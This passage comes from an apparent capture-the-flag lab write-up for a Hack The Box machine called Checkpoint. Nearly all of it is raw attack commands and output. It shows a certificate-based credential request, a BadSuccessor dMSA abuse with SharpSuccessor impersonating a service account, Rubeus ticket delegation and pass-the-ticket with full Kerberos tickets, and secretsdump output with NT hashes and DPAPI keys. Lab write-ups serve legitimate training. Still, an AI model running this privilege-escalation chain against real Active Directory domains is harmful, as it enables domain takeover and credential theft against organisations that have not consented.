7Q5ARVvM8jep/NcEgm9EgKEgFfyA5eZ1sb4Mmca+9/3jr2UIxPQBkKfh4qK2xdlCHQP2T2jkLPNhyIJwjl0TegQiJUkmbOcmRNufhiTlNJLJ5FEUCS9kkekh1XscrtI03ynglV0ZHkdoPT9dmUc1wAvOL1RrszB0Pg+KKMk0EKLfiirREqqgeMIqexIV1UhEKauB462KV1K8TzNVu2sVuj1wDUP3UqarJsDKT+q96i3PCb34nFZY8aOJzdDZan4c5AkNs0q9zogWVUruESNMnuW4UREfF+j8U9d2/Z90wZuczuGML1VCSuT6xg4G1ZukDm9/dFRZ/96nYyW7aEDK0gHu7Hv3wHCxcRDKmGtP1DCQxZ71I7t5tRNb3vB9QOZq6WgLU0c8Vt69caX1/4q8M/Ao3GtFevYjgvkUB/ajMT8h9Hb40BHgKjstUy4t2O02gPCSxQCmWHHC8ClHjk9sBdsqWOByxjnLhuywfUuSlfA1bfBR7jhFd7mYK45lDpl7ZhvkHd5kS1x+8Bwbkz9abe+jhdRZ6197BrJSb3/iNBO/iKCulIOurmU09/cwpIB8JGxqBqfcV521Prh5fCJO+eFq8v6RuLWIs2hauKMhwoh1XyPRs3Vn0XJdLVP0sPdSUS0spgZmw/FzD7xjg1dbRxEnJreyCML1//MIrXhPpUZHtTNR8R1cCSdOZx7eZx5KEFsjsjfIa6TJk70wykg0VFyEdl3/rS5HnEWe97lJBCHwdP+ksfEDUf/89vuGFOsPNba/GJa7vqjLR+ELgWkVr31dSTeQBYw4DV5x+/zojmb/Bt6+SoGpJDyY+MPc/7OfKzxKQnzGB6TATBgkqhkiG9w0BCRUxBgQEAQAAADBXBgkqhkiG9w0BCRQxSh5IADUANQA4AGQAOABlADUAMwAtAGMAOAAzAGQALQA0ADgANABkAC0AYgAyADgANAAtADYAYQAwAGEAYQBhAGEAMQA4ADIANgA5MHkGCSsGAQQBgjcRATFsHmoATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByMIIDVwYJKoZIhvcNAQcGoIIDSDCCA0QCAQAwggM9BgkqhkiG9w0BBwEwHAYKKoZIhvcNAQwBAzAOBAgRkI9yU5BNzQICB9CAggMQSLdCeQEucwKEWYzY2Qtp+xLizWpIZEBA+PuDWq8b4PK91fWgu7p8K74FV8m0SYr9naTHVmHxr+K4BEgF+aEVdn7AHNVnDOTFwzhjW4CJFkuYwXeyILRQYhEkneG8YG5RqFJXHFEtYTNwAq/gy5LLrCCKp6NwUVNAUGXexyYOBXWzjVKWsQUEux+HoxzccTy5Hw2JfwFevjD+V62dzE4xJxEgRhGx1oAD86MwQFCdpLfuHq0fIVTy7vmrG5V1Sd6O3VwCelKEO9mO0KUKDnjx+9KEzI2elYPaNSRVva+bPyfQ/KydToIqrDtFe4i+fspHGwBfrAVuLTZlCAv+H80liju5flQ05i0POgxInf63c+DfmCVwrWy799Lc+K3dv25iL8JnQfUKimBS9b5i4PYAjJEnmZgWSvH72N05t0noZjOdYsxRKvvJFwUcFvVf46eCQ3xIL8fwlw1anh7qH9IP0gddBOC3D9o0hTBHfAnxRMkepL0LvMgWtMSxg9hIVnG2hnIkm3Nk6XXIMMwDvPv+8Ic956cDCQr6mV0p9u3eV3hHAF2U4icxP9lrkU84nfhGLAuqn5aDkICq2IYrDMRcuDy+x/O72bV8yzpbrypBJhi9AKR/Xn9FlReUXUops5n1APlW1vmuZ4vm3b0ubbaSWa5nF5Hylrv79AqyfSvFAZ3gI1G6JsJ0gl/LUagZDlITYxUsQoqgBnGUmuPvLRXmsjJCtRnCogVEFTTWkS5KwSzJkrZL2+O/oMDsMbY8Vb2udNwSjtmQb1Nw5/jhSEH/rQiKyS7eYNcpymr9pH4F0SA4svV6bNUe+DBo+5qZaCr1xp2IR1mPMnnpWbGmYg5yAYmsHWit+ZOSWKQ0WmbkLC5pNmwVsERXduRjk70X+dTntVyW2Nkh5vwnjJc6cVx/FzYgC2gKQLptEs7qvhwdbPG0q99Y18zmYa111/Aj2hi4u0ebaZlaP7OS1aCbYq+oVbd3xU+r9RqjEToOIDrkQDHfTk7GqqaH0l4Qkeaj3Mjmvn1tfkemtCzc1poq94Ol9TA7MB8wBwYFKw4DAhoEFGC/++g3PQRXe9mMaZmvI9TIpXcIBBSvYQ4zU2FG9W+z6VGvEZDWmP9oSwICB9A= /password:"s7FKDFKL6jStuNs5" /domain:checkpoint.htb /dc:DC01.checkpoint.htb /getcredentials /show ``` ``` PS C:\Users\ryan.brooks\Documents> .\Get-BadSuccessorOUPermissions.ps1 .\Get-BadSuccessorOUPermissions.ps1 Identity OUs -------- --- CHECKPOINT\ryan.brooks {OU=DMSAHolder,DC=checkpoint,DC=htb} CHECKPOINT\alex.turner {OU=Employees,DC=checkpoint,DC=htb} ``` ``` .\SharpSuccessor.exe add /path:"OU=DMSAHolder,DC=checkpoint,DC=htb" /account:ryan.brooks /name:king /impersonate:svc_deploy _____ _ _____ / ____| | / ____| | (___ | |__ __ _ _ __ _ __| (___ _ _ ___ ___ ___ ___ ___ ___ _ __ \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__| ____) | | | | (_| | | | |_) |___) | |_| | (_| (_| __/\__ \__ \ (_) | | |_____/|_| |_|\__,_|_| | .__/_____/ \__,_|\___\___\___||___/___/\___/|_| | | |_| @_logangoins [+] Adding dnshostname king.checkpoint.htb [+] Adding samaccountname king$ [+] svc_deploy's DN identified [+] Attempting to write msDS-ManagedAccountPrecededByLink [+] Wrote attribute successfully [+] Attempting to write msDS-DelegatedMSAState attribute [+] Attempting to set access rights on the dMSA object [+] Attempting to write msDS-SupportedEncryptionTypes attribute [+] Attempting to write userAccountControl attribute [+] Created dMSA object 'CN=king' in 'OU=DMSAHolder,DC=checkpoint,DC=htb' [+] Successfully weaponized dMSA object [+] Found target account, attempting to write attributes [+] CN=king,OU=DMSAHolder,DC=checkpoint,DC=htb written to svc_deploy object [+] msDS-SupersededServiceAccountState set to 2 [+] Wrote to target account successfully ``` {% code overflow="wrap" %} ``` .\Rubeus.exe tgtdeleg /nowrap ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 [*] Action: Request Fake Delegation TGT (current user) [*] No target SPN specified, attempting to build 'cifs/dc.domain.com' [*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb' [+] Kerberos GSS-API initialization success! [+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output. [*] Found the AP-REQ delegation ticket in the GSS-API output. [*] Authenticator etype: aes256_cts_hmac_sha1 [*] Extracted the service ticket session key from the ticket cache: GCLb9h8gLB8XLgpuBWhclmYB/dE+vC4cyHvPNauKtkU= [+] Successfully decrypted the authenticator [*] base64(ticket.kirbi): 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 ``` {% endcode %} ``` .\Rubeus.exe asktgs /targetuser:king$ /service:krbtgt/checkpoint.htb /opsec /dmsa /nowrap /ptt /ticket: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 ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.3.3 [*] Action: Ask TGS [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building DMSA TGS-REQ request for 'king$' from 'ryan.brooks' [+] Sequence number is: 1632487827 [*] Using domain controller: DC01.checkpoint.htb (fe80::f1b7:a1ae:cbdd:2449%5) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi): doIFoDCCBZygAwIBBaEDAgEWooIEojCCBJ5hggSaMIIElqADAgEFoRAbDkNIRUNLUE9JTlQuSFRCoiMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQqOCBFYwggRSoAMCARKhAwIBAqKCBEQEggRA4B3XsOuq6XeEmjf5mdFus5fCZ87aMYNNNG5ouRJksgIILV9CfpwyzGe03F ZI06kKX5Tj5ohguReZRiTSV01Zi0MIjGBXmPzsRM2LAUnubA4uIsIoOo21mOZeb84YS7NOZCU41WpsVdW5/lWvYtxqOt5RBrNY88EliAdMBxGeFNSLyhXj8d6lr8qzDXnDMRIrmHHBXMyfvdC/zjSGc9wUxVD9NN0rPf1uniwWT2bUbuSA9lVay6GUvk7X46LI055zzkKWNr3kJX2wH25lNyju1Pz4FI 6DJDbjbjCIQn1ridlaXp+8XlBU+FJMYvWkwaahT2WuRO07/H3E71dWWFxmCQ4DEKcuyOL/7dj/J86j1K7I+BlG2QcRzlKg66t0a/FqYXo1mqyd+CYV0L0sZBL6Kt8gbTMZTqOctczHktwoE5J8wJL0EMMDQzRrs/PsC5eGLqRFMkWlEyhJBXlpkKPiGHQbTo79140l1YBsTvb8gvlNJSqUZy46TTD+vZ lXpQxUcMKyBI6kmZSkgiPQZtUpccwEcbXjfB+9nDQ+iWGMvKsHfzAp51tUzH59xSZ+JI5uIDgROj2eGd8XFOMt+C8LKtWb0wFMnppb5m2p/z02hgIyu+6a/Nqj//gZvV0hfag+aciKHStG0ZQge056i2ofS/IJlMdVRgxpxdgtQNKa01hLwlLVqdMebWHmFNMdffjjVBbz1ibsmVAeJIRkqH0+R/Ce3t wK9l1g2ULgCaN+pYKRXb0mC4J6LK9HZ/LtbdhomBnBRelZYSBfR9mzm93Vcd7o8VOFiiMQ7VkbTztFY4tp2d/5BdLthzsOD8/mf6ATsdAub2Lz4csGAgDgv5aX2vwsLHxhpDuCwxlM9L7mwP+sQ+E9TYmtzc5fpuP7lpZXZqnXCHfmNXTFjdXu3/STFs7N4NIPczbaZbioFO7DooqdaPfzbDOtbYzy9f p752t/6S9mk/qc6+7MhlhzBjpm+WJoiIHs+iYsQRhCtt9U6QzJnjNcDmp9R0LA3MvMImRIXXRKuJHS6jeZXlPOetkkUEGgSKFRwGHlbNBJQ6LJ4Lke2FgW/8xJGLDaxX/YkYVzxXGlTNz2VIobVysXi1+ujH9vEMVwSI3+I6gTjB2t49Oyg8UoF32ooNQNV2sIEZs8VAO4DF8TOHXYWRVpqg5yRxlnvb V0rIMuPRFthQn2FSIGnO+GDcEDZRiqT6LXLK+FzX/vvCMYT3xpxIarVCMDXsMA8idmSp5Tp7GixJo4N+wiP3hHE9sjkidWJBFQvMPJ+QEinvtUSW6x6pdih191x/5V/yfYrgPSx7rz4isaiDKXsLzl76tTNJekyGRzkVC4EE4NdPTj01Yldn52GVKCKjTjvj91sbQOLcIahKU3LWAWywyYuXv3PvyWkr mexq/14JEKKa4TZAKo2Y3v6B1t21PAv8FJI6MfTWzlnyAegXCjgekwgeagAwIBAKKB3gSB232B2DCB1aCB0jCBzzCBzKArMCmgAwIBEqEiBCCvB0VSOchT45WGcPZHetJ+BTf22Jfz4TYWWHB4EjhvOKEQGw5jaGVja3BvaW50Lmh0YqISMBCgAwIBAaEJMAcbBWtpbmckowcDBQBgoQAApREYDzIwMj YwNjIwMjI1MjU1WqYRGA8yMDI2MDYyMDIzMDc1NVqnERgPMjAyNjA2MjcyMTAxMjZaqBAbDkNIRUNLUE9JTlQuSFRCqSMwIaADAgECoRowGBsGa3JidGd0Gw5DSEVDS1BPSU5ULkhUQg== ServiceName : krbtgt/CHECKPOINT.HTB ServiceRealm : CHECKPOINT.HTB UserName : king$ (NT_PRINCIPAL) UserRealm : checkpoint.htb StartTime : 6/20/2026 3:52:55 PM EndTime : 6/20/2026 4:07:55 PM RenewTill : 6/27/2026 2:01:26 PM Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : rwdFUjnIU+OVhnD2R3rSfgU39tiX8+E2FlhweBI4bzg= Current Keys for king$: (aes256_cts_hmac_sha1) FE7F445EC9DA714F52556461669B401438DBD85D35281BA52A5C69FB4369C5C6 ``` {% code overflow="wrap" %} ``` ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ subl ticket ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ cat ticket | base64 -d > ticket.kirbi ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ impacket-ticketConverter ticket.kirbi ticket.ccache Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] converting kirbi to ccache... [+] done ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ export KRB5CCNAME="$PWD/ticket.ccache" ┌──(kali㉿kali)-[~/Eth3real/HTB/Labs/Checkpoint] └─$ echo $KRB5CCNAME /home/kali/Eth3real/HTB/Labs/Checkpoint/ticket.ccache ``` {% endcode %} {% code overflow="wrap" %} ``` ``` {% endcode %} ``` ┌──(venv)─(kali㉿kali)-[~/…/HTB/Labs/Checkpoint/volatility3] └─$ impacket-secretsdump -sam registry.SAM.0xc30a3278e000.hive -security registry.SECURITY.0xc30a32789000.hive -system registry.SYSTEM.0xc30a2fe38000.hive LOCAL Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:f29e9c014295b9b32139b09a2790be3b::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:28f8d934dee90b2ec824351cb0844479::: [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] DPAPI_SYSTEM dpapi_machinekey:0x914b2bd39adf134401ec6eceb08f8ec131d2ecbd dpapi_userkey:0x77d90ebac2487f870a26e4776c72b4509b06dd1b [*] NL$KM 0000 0E 42 1C 8E 38 4F 72 E3 81 69 DD 54 E2 92 55 FA .B..8Or..i.T..U. 0010 6C 31 99 78 31 4C 9E 6A 7F B9 F9 26 06 AC 7B FF l1.x1L.j...&..{. 0020 EB 8A 95 09 44 6E 3A 52 62 B1 C2 F7 66 B0 C3 53 ....Dn:Rb...f..S 0030 67 30 29 E7 A3 F3 77 6A 88 69 70 A6 9A B4 6F 40 g0)...wj.ip...o@ NL$KM:0e421c8e384f72e38169dd54e29255fa6c319978314c9e6a7fb9f92606ac7bffeb8a9509446e3a5262b1c2f766b0c353673029e7a3f3776a886970a69ab46f40 [*] Cleaning up... ``` [^1]: